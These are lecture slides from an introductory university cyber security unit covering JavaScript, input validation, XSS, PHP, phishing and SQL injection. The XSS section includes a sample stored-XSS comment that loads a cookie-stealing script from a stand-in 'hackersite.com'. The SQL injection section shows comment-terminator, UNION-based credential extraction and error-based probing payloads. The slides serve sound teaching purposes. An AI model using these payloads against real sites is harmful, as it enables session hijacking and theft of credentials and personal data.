Fundamental of Cyber Security
(TCS 492)
UNIT-4
B. Tech
2nd Year (4th semester) (Group 1)
REHAN, Assistant Professor
9548283808
Java Script
• JavaScript is one of the 3 languages all web
developers must learn:
1. HTML to define the content of web pages
2. CSS to specify the layout of web pages
3. JavaScript to program the behavior of web
pages
• JavaScript is a programming language that
adds interactivity to your website.
• This happens in games, in the behavior of
responses when buttons are pressed or with
data entry on forms; with dynamic styling;
with animation, etc.
• JavaScript is a crucial language in the field of
cybersecurity, mainly because of its extensive use
on the web.
• For cybersecurity professionals, understanding
JavaScript is important for several reasons,
including the ability to analyze and mitigate client-
side security risks, understand attack vectors such
as XSS (Cross-Site Scripting) and perform security
testing and code reviews effectively.
Basics of JS
• Variables in JavaScript
• Data type in JavaScript
• Conditional statements in javascript
• Function in JavaScript
• Looping in javascript
• Comments in javascript
• Operators in javascript
INTRODUCTION
• Variables and Data Types
– JavaScript supports various data types including
undefined, null, boolean, string, number, bigint,
symbol, and object.
– Variables can be declared using var, let, or const.
– let name = "Alice";
– const age = 25;
• let message = "Hello, World!";
const PI = 3.14159;
• Data Types:
– Primitive
types: Number, String, Boolean, Null, Undefined, S
ymbol, BigInt.
– Object: Used to store collections of data.
• Operators: Used to perform operations on
data.
– Arithmetic operators: +, -, *, /, %.
– Assignment operators: =, +=, -=, *=, /=.
– Comparison
operators: ==, ===, !=, !==, >, <, >=, <=.
– Logical operators: && (AND), || (OR), ! (NOT).
• Control Flow:
– Conditional statements: if, else if, else.
• if (age >= 18) {
console.log("Adult");
} else {
console.log("Minor");
}
• Loops: for, while, do...while.
• for (let i = 0; i < 5; i++) {
console.log(i);
}
• Functions: Reusable blocks of code.
• function add(a, b) {
return a + b;
}
• Arrays: Ordered lists of values.
• let numbers = [1, 2, 3, 4, 5];
• Objects: Collections of key-value pairs.
• let person = {
name: "John",
age: 30
};
• "Hello, World!": A simple program to print
"Hello, world!" to the console, often used as a
first program in a new language.
• console.log("Hello, world!");
First JS
• <!DOCTYPE html>
• <html>
• <body>
• <h2>My First JavaScript</h2>
• <button type="button"
• onclick="document.getElementById('demo').innerHTML = Date()">
• Click me to display Date and Time.</button>
• <p id="demo"></p>
• </body>
• </html>
• https://www.w3schools.com/js/tryit.asp?filen
ame=tryjs_myfirst
• Functions
– Functions are blocks of code designed to perform
a particular task and are fundamental in writing
maintainable and reusable code.
– function greet(name) {
return `Hello, ${name}!`;
}
• Objects
• JavaScript is an object-oriented language, and
objects are collections of properties.
const user = {
name: 'Alice',
age: 25
};
JavaScript in <head> or <body>
You can place any number of scripts in an HTML
document.
Scripts can be placed in the <body>, or in
the <head> section of an HTML page, or in both.
a JavaScript function is placed in the <head> section of an HTML page.
The function is invoked (called) when a button is clicked:
<!DOCTYPE html>
<html>
<head>
<script>
function myFunction() {
document.getElementById("demo").innerHTML = "Paragraph changed.";
}
</script>
</head>
<body><h2>Demo JavaScript in Head</h2>
<p id="demo">A Paragraph</p>
<button type="button" onclick="myFunction()">Try it</button>
</body>
</html>
VAR, LET and CONST
• var
• "var" is the oldest way to declare a variable in
JavaScript.
• Variables declared with "var" have a function-
level scope, meaning they are only accessible
within the function in which they were declared.
They also have "hoisting" behavior, which means
they are accessible throughout the entire scope
of the function, regardless of where they were
declared.
• let
• "let" was introduced in ECMAScript 6 (also
known as ES6) as an alternative to "var".
Variables declared with "let" have the block-
level scope, meaning they are only accessible
within the block in which they were declared.
• const
• "const" was also introduced in ECMAScript 6 and
is used to declare variables that cannot be
reassigned.
• This makes "const" variables useful for declaring
constants, such as pi or the gravitational
constant, which have a fixed value.
• Should always be initialized.
const: Variables declared with const must be
initialized at the time of declaration and cannot
be reassigned thereafter.
This makes const suitable for declaring
constants.
Loops
text += cars[0] + "<br>";
text += cars[1] + "<br>";
text += cars[2] + "<br>";
text += cars[3] + "<br>";
text += cars[4] + "<br>";
text += cars[5] + "<br>";
Or
for (let i = 0; i < cars.length; i++) {
text += cars[i] + "<br>";
}
• Different Kinds of Loops
– JavaScript supports different kinds of loops:
• for - loops through a block of code a number of times
• for/in - loops through the properties of an object
• for/of - loops through the values of an iterable object
• while - loops through a block of code while a specified
condition is true
• do/while - also loops through a block of code while a
specified condition is true
For In Loop
• for (key in object) {
// code block to be executed
}
• const person = {fname:“rehan", lname:“GEU",
age:29};
let text = "";
for (let x in person) {
text += person[x];
}
For Of Loop
• for (variable of iterable) {
// code block to be executed
}
• const cars = ["BMW", "Volvo", "Mini"];
let text = "";
for (let x of cars) {
text += x;
}
• while (condition) {
// code block to be executed
}
• while (i < 10) {
text += "The number is " + i;
i++;
}
• Do while
Input Validation
• Input validation is a critical practice in web
development that helps ensure data integrity and
security.
• Proper validation checks that data entered by users
conforms to expected formats, values, and types
before it is processed or stored.
• In JavaScript, input validation can be implemented on
the client-side to provide immediate feedback to users,
although server-side validation is essential to secure
applications against malicious activity.
• Type Checking
• Ensure that the data entered matches the
expected data type (e.g., strings, numbers,
dates).
function validateNumber(input) {
return !isNaN(parseFloat(input)) &&
isFinite(input);
}
• Format Validation
• For data that must follow a specific format (like
email addresses, phone numbers, or URLs),
regular expressions (regex) are commonly used
function validateEmail(email) {
const regex = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-
]+\.[a-zA-Z]{2,6}$/;
return regex.test(email);
}
• Range Checking
• This applies to numerical values or dates
where the input must fall within a specified
range.
function validateAge(age) {
const num = parseInt(age, 10);
return num >= 18 && num <= 99;
}
• Length Checking
• Checking the length of the input to make sure
it is within acceptable limits, commonly used
for passwords and usernames.
function validatePassword(password) {
return password.length >= 8 &&
password.length <= 20;
}
• Mandatory Fields
• Ensure that all required fields have been filled
out.
function isFieldNotEmpty(input) {
return input.trim() !== '';
}
• Cross-field Validation
• Sometimes, the validity of one field may
depend on the value of another field.
function validateEndDate(startDate, endDate) {
return new Date(endDate) > new
Date(startDate);
}
• Implementing Client-Side Validation
• In modern web development, HTML5 provides built-in
attributes for basic validations, such as required, type,
min, max, minlength, and maxlength, which can be
used to enforce certain rules directly in the form
elements.
<form id="registerForm">
Email: <input type="email" name="email" required>
Age: <input type="number" name="age" min="18"
max="99" required>
Password: <input type="password" name="password"
minlength="8" maxlength="20" required>
<button type="submit">Register</button>
</form>
• Additionally, you can use JavaScript to further enhance
validation:
document.getElementById('registerForm').addEventListen
er('submit',
function(event) {
const email = this.elements['email'].value;
const age = this.elements['age'].value;
const password = this.elements['password'].value;
if (!validateEmail(email) || !validateAge(age) ||
!validatePassword(password)) {
alert('Invalid input');
event.preventDefault(); // Prevent form submission
}
});
input validation for security
• Its importance stems from both the need to
ensure the data integrity and usability of
applications and the necessity to protect
against malicious attacks that exploit input
vulnerabilities.
• Input validation is key to securing applications from various kinds of
attacks that exploit input data, including:
• SQL Injection
– When user inputs are not properly validated or sanitized, attackers can inject
malicious SQL queries into forms that manipulate a database. Even though
JavaScript is primarily a client-side language, many JavaScript frameworks
interact directly with databases, and server-side JavaScript (Node.js) can also
be vulnerable to SQL injection.
• Cross-Site Scripting (XSS)
– This involves an attacker injecting malicious scripts into web pages viewed by
other users, via inputs that accept HTML or JavaScript content. Such scripts
can steal cookies, session tokens, or other sensitive information that leads to
identity theft or session hijacking.
• Cross-Site Request Forgery (CSRF)
– Though primarily a cookie handling issue, CSRF can also relate to how inputs
(such as hidden fields in forms) are validated and trusted by web
applications. Proper validation can help mitigate some CSRF vectors.
• Ensuring Data Integrity
– Operational Accuracy: Correct operations,
calculations, and decisions depend on accurate input
data.
– Database Integrity: Ensures that only appropriate
data is stored, maintaining the consistency and
reliability of the database.
– Application Logic Flow: Many algorithms depend on
valid input to work correctly. Invalid data can lead to
errors or unexpected behavior, which might
compromise application functionality.
• Improving User Experience
– Guiding User Input: Validation routines can guide
users to enter data in the required format,
reducing the chances of errors and improving data
quality.
Cross site scripting (XSS) attack
• Cross-Site Scripting (XSS) is a common type of
security vulnerability typically found in web
applications.
• XSS attacks enable attackers to inject client-side
scripts into web pages viewed by other users.
• A script injected in this way can execute with the
privileges of the victim user, potentially stealing
data, hijacking sessions, or performing actions on
behalf of the user without their consent.
• XSS differs from other web attack vectors
(e.g., SQL injections), in that it does not directly
target the application itself. Instead, the users of
the web application are the ones at risk.
• A successful cross site scripting attack can have
devastating consequences for an online
business’s reputation and its relationship with its
clients.
• Depending on the severity of the attack, user
accounts may be compromised, Trojan horse
programs activated and page content
modified, misleading users into willingly
surrendering their private data.
• Finally, session cookies could be revealed,
enabling a perpetrator to impersonate valid
users and abuse their private accounts.
• Cross site scripting attacks can be broken down into
two types: stored and reflected.
• Stored XSS, also known as persistent XSS, is the
more damaging of the two. It occurs when a
malicious script is injected directly into a vulnerable
web application.
• Reflected XSS involves the reflecting of a malicious
script off of a web application, onto a user’s
browser. The script is embedded into a link, and is
only activated once that link is clicked on.
• Stored XSS attack example
– While browsing an e-commerce website, a perpetrator
discovers a vulnerability that allows HTML tags to be
embedded in the site’s comments section. The
embedded tags become a permanent feature of the
page, causing the browser to parse them with the rest of
the source code every time the page is opened.
– The attacker adds the following comment: Great price
for a great item! Read my review here <script
src=”http://hackersite.com/authstealer.js”> </script>.
– From this point on, every time the page is accessed, the
HTML tag in the comment will activate a JavaScript file,
which is hosted on another site, and has the ability to steal
visitors’ session cookies.
– Using the session cookie, the attacker can compromise the
visitor’s account, granting him easy access to his personal
information and credit card data. Meanwhile, the visitor,
who may never have even scrolled down to the comments
section, is not aware that the attack took place.
– Unlike a reflected attack, where the script is activated after a
link is clicked, a stored attack only requires that the victim
visit the compromised web page. This increases the reach of
the attack, endangering all visitors no matter their level of
vigilance.
Types of XSS Attacks
• Reflected XSS:
– This occurs when a malicious script is reflected off of a
web application onto the user’s browser. The script is
embedded in a request made to the server (such as in a
URL or form parameter), and the server includes it in the
response. This response is then executed by the browser.
– Reflected XSS is typically delivered via email or other
messaging where the user must be tricked into clicking a
malicious link.
• Stored XSS:
– Also known as persistent XSS, occurs when a malicious
script is directly stored on target servers, such as in a
database, message forum, visitor log, comment field,
etc.
– When other users retrieve information from the
server, the malicious script is transmitted to their
browsers. Stored XSS is dangerous because it does not
require tricking users into clicking a link; the script
runs automatically when the compromised data is
loaded.
• DOM-based XSS:
– This occurs when a script takes data from the
client’s browser that the attacker can manipulate
(such as the URL) and then uses this data in a way
that executes malicious scripts through the DOM
(Document Object Model).
– This does not involve the server-side at all, or at
least the server does not emit the attacker's
payload in its response.
IMPORTANT
• Execution on REPLIT.COM
How XSS Attacks Work
• Injection:
– The attacker finds a way to input malicious JavaScript code
into a webpage that other users will visit. This might be done
through direct input (as in stored XSS) or by tricking a user
into visiting a link that injects the script (as in reflected XSS).
• Execution:
– The malicious script runs within the victim’s browser when
they visit the compromised page. Since the script runs on the
client side, it can perform actions such as stealing cookies,
capturing keystrokes, or exploiting the session to
impersonate the victim.
• Exploitation:
– Depending on the nature of the script, the attacker can use it
to gather data from the user, hijack user sessions, redirect
the user to malicious sites, or even spread the attack further.
Prevention and Mitigation
Encoding and Escaping Data:
– Ensure that any user-generated content is properly encoded
or escaped before it is rendered in the browser. This prevents
potentially malicious code from being executed.
• Content Security Policy (CSP):
– Implementing CSP can help mitigate the impact of XSS by
specifying which resources can be loaded by the browser,
thus preventing unauthorized execution of scripts.
• Sanitization:
– Input sanitization is crucial to ensure that potentially harmful
characters are removed or neutralized in user inputs.
• Using Frameworks that Automatically Secure
Applications:
– Many modern web development frameworks and libraries
come with built-in protections against XSS, such as automatic
escaping of HTML characters.
• XSS remains a prevalent threat due to the
ubiquitous nature of HTML and JavaScript in
web development and the variety of ways
attackers can inject malicious code.
Common Mechanisms of XSS Attack
• User Input that is Not Sanitized: Attackers look for
forms, URL parameters, cookies, or any input fields that
do not properly sanitize user input. This unsanitized
input might then be embedded directly into the web
page, leading to execution of malicious scripts.
• Misconfigured Security Headers: Lack of appropriate
security headers like Content Security Policy (CSP) can
make it easier for XSS attacks to succeed.
• Insecure Processing of HTML Emails: Webmail clients
that do not adequately sanitize HTML email content
can also be susceptible to XSS.
Basics of PHP
• PHP stands for Hypertext Preprocessor.
• It is an open-source, widely used language for web
development.
• Developers can create dynamic and interactive websites by
embedding PHP code into HTML.
• PHP can handle data processing, session management,
form handling, and database integration.
• The latest version of PHP is PHP 8.4, released in 2024.
• PHP is a server-side scripting language that
generates dynamic content on the server and
interacts with databases, forms, and sessions.
• PHP supports easy interaction with databases
like MySQL, enabling efficient data handling.
• Syntax
<?php
// PHP code goes here
?>
<?php
echo "Hello, World!";
?>
• <?php and ?> are the PHP tags that embed PHP
code into an HTML document.
• echo is a PHP function used to output text to the
browser.
• Without Using Strict Mode
– In this example, the strict mode is not enabled, so
it will change the string “3” to int 3 and it will
return result 8.
• Using Strict Mode
• In this, the strict mode is enabled, so “3” is
not an integer it is a string, so the error will be
thrown.
• Generate Dynamic Content: PHP creates dynamic web pages
based on user input.
• Manage Files: PHP can create, open, read, write, and delete files
on the server.
• Process Form Data: PHP collects and processes data from web
forms.
• Handle Cookies: PHP can send and receive cookies to manage
sessions.
• Interact with Databases: PHP adds, deletes, and modifies data in
databases.
• Control User Access: PHP can manage login systems and user
permissions.
• Encrypt Data: PHP can encrypt sensitive information for security.
• PHP is considered a loosely typed language,
meaning you do not need to specify the data
type when declaring a variable.
• PHP will automatically interpret the variable’s
type based on the value assigned to it at
runtime.
• Scalability: PHP is highly scalable, allowing
developers to create websites that can grow in
terms of traffic and functionality.
• Applications of PHP
– Web Development: PHP is widely used for creating dynamic
websites and web applications by generating interactive content,
handling user inputs, and interacting with databases.
– Command-Line Scripting: PHP can be used to write command-line
scripts for automating repetitive tasks, such as data processing or
system monitoring.
– Game Development: PHP is used for backend logic in browser-
based multiplayer games, handling user authentication, scores,
and game state.
– Real-Time Applications: PHP supports real-time applications like
chat systems and live updates, typically using AJAX or WebSockets.
– File Management: PHP handles file uploads and creates file
management systems for organizing and downloading files.
• Embedding PHP in HTML
• PHP code can be embedded within HTML
using the standard PHP tags. In this example,
the <?php echo “Hello, PHP!”; ?> statement
dynamically inserts a heading into the HTML
document.
• Case Sensitivity
• PHP is partially case-sensitive-
• Keywords (like if, else, while, echo) are not
case-sensitive.
• Variable names are case-sensitive.
• PHP supports several data types, including:
– String: A sequence of characters.
– Integer: Whole numbers.
– Float (Double): Numbers with a decimal point.
– Boolean: Represents true or false.
– Array: A collection of values.
– Object: An instance of a class.
– NULL: A special type representing a variable with
no value.
– Resource: A special type that holds a reference to
external resources (like database connections).
• $name = "XYZ"; // String
• $age = 30; // Integer
• $isEmployed = true; // Boolean
• Blocks in PHP
• In PHP, multiple statements can be executed
simultaneously (under a single condition or
loop) by using curly-braces ({}). This forms a
block of statements that gets executed
simultaneously.
• One had to master both print and echo
function for a PHP developer looking to build a
dynamic and efficient web application.
Phishing and spear phishing
• Phishing and spear phishing are types of cyber
attacks that use deceptive emails and
websites to steal sensitive information.
• These tactics rely on social engineering,
manipulating users into revealing personal
data, financial information, or other
confidential data.
Phishing
• Phishing is a broad and indiscriminate cyber
attack where attackers send fraudulent
messages to a large number of people.
• These messages often mimic the format and
style of legitimate emails from reputable
organizations, such as banks, social media
sites, or popular online services.
• The goal is to trick recipients into providing
personal information, clicking on malicious
links, or downloading infected attachments.
• Characteristics
– Generic greetings: Phishing attempts often use
nonspecific greetings like "Dear user" or "Dear [email
address]," instead of your name.
– Urgent requests: The emails frequently convey a sense
of urgency, prompting the recipient to act quickly to
avoid some negative consequence, such as account
suspension.
– Suspicious links or attachments: Phishing emails often
include links that lead to counterfeit websites or
attachments that contain malware.
– Request for sensitive information: These emails may ask
directly for personal details, financial information, or
login credentials.
Spear Phishing
• Spear phishing is a more targeted form of
phishing.
• Unlike the broad net cast by typical phishing
efforts, spear phishing involves carefully crafted
messages that are sent to a specific individual or
organization.
• Spear phishers spend considerable time
researching their targets to create more
believable emails.
Characteristics of spear phishing
include
• Personalized approach: Spear phishing messages often
include personalized information, such as the recipient's
name, position, company, or specific details about their work
or personal life.
• From trusted sources: The sender's address might be spoofed
to appear as if the email is coming from a colleague, a
superior at work, or from someone the target trusts.
• Highly specific content: The content of a spear phishing email
is designed to resonate with the target, including references
to projects they are working on, events they are expected to
be aware of, or interests they have.
Prevention and Mitigation Strategies
• Email Filtering
• Regular Updates and Patches
• Verify Suspicious Requests:
Social media phishing emails
• Social media phishing emails can be the launchpad for
Facebook, LinkedIn, X (formerly Twitter), and
Instagram scams. They usually mimic the platforms’
branding and logo to trick you into clicking malicious
links or divulging sensitive data.
• Phishing attacks related to social media scams often:
– Urge you to take immediate action to prevent an account
from being disabled or deleted.
– Ask you to reset a compromised password or confirm login
credentials.
– Include an alert that someone reported you to the
administrator.
• How to tell this is a phishing email:
– In this LinkedIn scam, the user’s name isn’t specified in the
greeting, which means it’s likely sent to multiple email
addresses in bulk.
– The business name is in all capital letters throughout the
email, which is not their trademark or branding.
– There are multiple grammar issues, which is uncommon
for a reputable organization. LinkedIn will also never ask
you for your password via email.
• https://phishing.iu.edu/stories/index.html#ex
amples
• MYSQL
SQL Injection Attack
• What is SQL injection (SQLi)?
– SQL injection (SQLi) is a web security vulnerability
that allows an attacker to interfere with the
queries that an application makes to its database.
– This might include data that belongs to other
users, or any other data that the application can
access.
– In many cases, an attacker can modify or delete
this data, causing persistent changes to the
application's content or behavior.
• A successful SQL injection attack can result in
unauthorized access to sensitive data, such as:
– Passwords.
– Credit card details.
– Personal user information.
SQL injection examples
• Retrieving hidden data, where you can modify a SQL
query to return additional results.
• Subverting application logic, where you can change a
query to interfere with the application's logic.
• UNION attacks, where you can retrieve data from
different database tables.
• Blind SQL injection, where the results of a query you
control are not returned in the application's responses.
Retrieving hidden data
• Imagine a shopping application that displays products in different
categories. When the user clicks on the Gifts category, their
browser requests the URL:
https://insecure-website.com/products?category=Gifts
• This causes the application to make a SQL query to retrieve details
of the relevant products from the database:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
– This SQL query asks the database to return:
– all details (*)
– from the products table
– where the category is Gifts
– and released is 1.
The application doesn't implement any defenses against
SQL injection attacks. This means an attacker can
construct the following attack, for example:
https://insecure-website.com/products?category=Gifts'--
This results in the SQL query:
SELECT * FROM products WHERE category = 'Gifts'--' AND
released = 1
• Crucially, note that ”--" is a comment indicator in SQL.
This means that the rest of the query is interpreted as a
comment, effectively removing it.
• In this example, this means the query no longer
includes AND released = 1. As a result, all products are
displayed, including those that are not yet released.
• Examples:
– A login form that concatenates the username and
password directly into a SQL query. An attacker
can inject a SQL statement to bypass
authentication or access user data.
– A search bar that uses user input to search for
products. An attacker can inject a SQL statement
to retrieve information from other tables or access
sensitive information.
– A comment form that uses user input to insert
comments into the database. An attacker can
inject a SQL statement to modify or delete
comments or even access other user data.
Example:
– Suppose a website has a query that retrieves user details
based on their ID:
• SELECT name, email FROM users WHERE user_id = '1';
• An attacker could use union-based SQL injection to
append a query that retrieves additional data:
• SELECT name, email FROM users WHERE user_id = '1' UNION
SELECT username, password FROM admin_users;
• If successful, this query returns both user and
admin data in the same result set.
Example:
– Assume an application uses a query like this to retrieve
product information:
• SELECT * FROM products WHERE product_id = '5';
– An attacker might inject a query like:
• SELECT * FROM products WHERE product_id = '5' AND
1=CONVERT(int, (SELECT @@version));
– If the database returns an error (e.g., due to a type
mismatch), it could reveal the database version or
structure, giving the attacker clues for further
exploitation.